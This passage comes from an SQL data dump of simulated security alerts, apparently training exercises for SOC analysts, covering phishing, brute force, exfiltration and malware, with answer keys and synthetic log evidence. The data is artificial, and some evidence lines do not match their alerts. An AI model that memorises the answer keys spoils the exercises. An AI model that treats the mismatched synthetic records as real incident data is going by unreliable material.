2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1383, 'CEO Impersonation Phishing Email Detected', 'critical', 'Proofpoint', 'An email impersonating the CEO was detected, attempting to initiate unauthorized financial transactions.', 'Phishing', 'T1566', 1, 'investigating', 246, '{\"timestamp\":\"2026-03-02T13:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.120\",\"email_sender\":\"ceo@company-fake.com\",\"domain\":\"company-fake.com\",\"username\":\"finance@company.com\",\"url\":\"http://fake-payment-portal.com\"}', '2026-03-02 03:07:37', '2026-03-05 07:54:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@company-fake.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email used in CEO impersonation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-payment-portal.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL mimics payment portal for fraud\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Impersonation of CEO with fraudulent URL confirms a targeted phishing attack.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"CEO Impersonation Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.909Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1384, 'Unauthorized Admin Login Attempt', 'high', 'Splunk', 'Multiple unauthorized login attempts detected for an admin account from a foreign IP.', 'Brute Force', 'T1110', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T17:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.200\",\"username\":\"admin\",\"hostname\":\"secure-server01\",\"failed_attempts\":\"50\"}', '2026-03-02 03:07:37', '2026-03-09 02:35:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for multiple unauthorized login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"High-privilege internal account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Frequent failed logins from a malicious IP suggest a brute force attempt.\"}', 'Novice', 'SIEM', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1385, 'Data Exfiltration Attempt via Suspicious Domain', 'critical', 'Wazuh', 'Data exfiltration attempt detected via a connection to a suspicious domain.', 'Data Exfil', 'T1048', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T18:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"203.0.113.175\",\"domain\":\"exfiltration-domain.com\",\"username\":\"dataadmin\"}', '2026-03-02 03:07:37', '2026-03-07 10:44:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"exfiltration-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain known for data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.175\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP used in data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Connection to a known exfiltration domain indicates a data breach attempt.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1386, 'False Positive: Routine Internal Network Scan', 'low', 'Elastic SIEM', 'Detected a series of network connections which appear to be a routine internal scan.', 'Lateral Movement', 'T1021', 0, 'Closed', 233, '{\"timestamp\":\"2026-03-02T09:25:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.1\",\"dst_ip\":\"10.1.1.10\",\"username\":\"networkscanner\",\"hostname\":\"scanner-host\"}', '2026-03-02 03:07:37', '2026-03-03 12:13:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP for network scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network device\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity matches the pattern of a scheduled internal network scan.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1387, 'Brute Force Attack from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected from an external IP known for malicious activity.', 'Brute Force', 'T1110', 0, 'Closed', 142, '{\"timestamp\":\"2026-03-02T08:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.92.220.50\",\"dst_ip\":\"192.168.1.15\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER01\",\"failed_attempts\":45}', '2026-03-02 03:09:19', '2026-03-07 05:14:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP is flagged as malicious with multiple failed login attempts, confirming the brute force attack.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:54:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:53:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:52:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:51:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1388, 'Suspicious Login Activity', 'low', 'Wazuh', 'Unusual login attempts detected from a known VPN server.', 'Brute Force', 'T1110', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T10:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.2.25\",\"username\":\"jdoe\",\"hostname\":\"WORKSTATION01\",\"failed_attempts\":10}', '2026-03-02 03:09:19', '2026-03-07 11:44:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with VPN use, not flagged as malicious\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is associated with VPN use but not flagged as malicious, indicating benign activity.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:54:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:53:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:52:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:51:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1389, 'Potential Malware Detected by File Hash', 'high', 'Elastic SIEM', 'A file with a known malicious hash was executed on an internal machine.', 'Malware', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.5\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"LAPTOP01\",\"command_line\":\"C:\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-02 03:09:19', '2026-03-09 13:55:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No detections found for this hash\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common false positive hash\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.3.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash was not detected as malicious, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 